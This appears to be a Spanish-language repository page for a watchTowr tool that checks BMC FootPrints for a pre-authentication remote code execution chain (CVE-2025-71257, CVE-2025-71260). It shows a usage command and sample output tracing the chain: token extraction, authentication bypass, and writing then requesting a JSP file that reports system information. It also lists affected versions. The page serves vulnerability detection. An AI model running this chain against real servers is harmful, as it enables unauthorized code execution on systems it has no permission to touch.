watchtowrlabs/watchtowr-vs-bmc-footprints-rce-cve-2025-71257-cve-2025-71260Generador de artefactos de detección que verifica instancias de BMC FootPrints para una cadena de RCE pre-autenticada (CVE-2025-71257, CVE-2025-71260) evadiendo la autenticación y escribiendo un archivo JSP para enumerar información del sistema.
Herramienta Generadora de Artefactos de Detección de la Cadena de Ejecución Remota de Código Pre-Autenticada en BMC FootPrints
Este Generador de Artefactos de Detección verifica si la instancia de BMC FootPrints es vulnerable a CVE-2025-71257 y CVE-2025-71260.
El Generador de Artefactos de Detección intenta realizar dos operaciones:
Prueba contra una instancia vulnerable:
python3 watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py http://192.168.2.2
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-BMC-Footprints-RCE-CVE-2025-71257-CVE-2025-71260.py
(*) BMC Footprints Authentication Bypass and Remote Code Execution Detection Artifact Generator Tool
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2025-71257, CVE-2025-71260]
============================================================
Detection Artifact Generator Tool
============================================================
Target: http://192.168.2.2
[+] Making first request to: http://192.168.2.2/footprints/servicedesk/passwordreset/request/
[+] Successfully extracted SEC_TOKEN: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] Making second request to: http://192.168.2.2footprints/servicedesk/aspnetconfig
[+] Using token: wgLCxepla-NTW9VSXIxyzNiq7HFJ0-CEFnbzlObKu3Ktv3B33h
[+] Using randomized JSP name: MNdeu12Wf
[+] Making third request to: http://192.168.2.2/MNdeu12Wf.jsp (randomized artifact)
==================================================
EXTRACTED INFORMATION:
==================================================
Username: LOCAL SERVICE
Working Directory: C:\Program Files\Apache Software Foundation\Tomcat 9.0
==================================================
[+] Detection Artifact Generator Completed!
BMC FootPrints: desde 20.20.02 hasta 20.24.01.001
20.20.02, 20.20.03.002, 20.21.01.001, 20.21.02.002, 20.22.01, 20.22.01.001, 20.23.01, 20.23.01.002, 20.24.01
Referencias: https://docs.bmc.com/xwiki/bin/view/More-Products/Footprints/FootPrints/fp2024/Release-notes/2024-Release-01-Patch-2/
Para conocer las últimas investigaciones de seguridad, siga al equipo de los Laboratorios watchTowr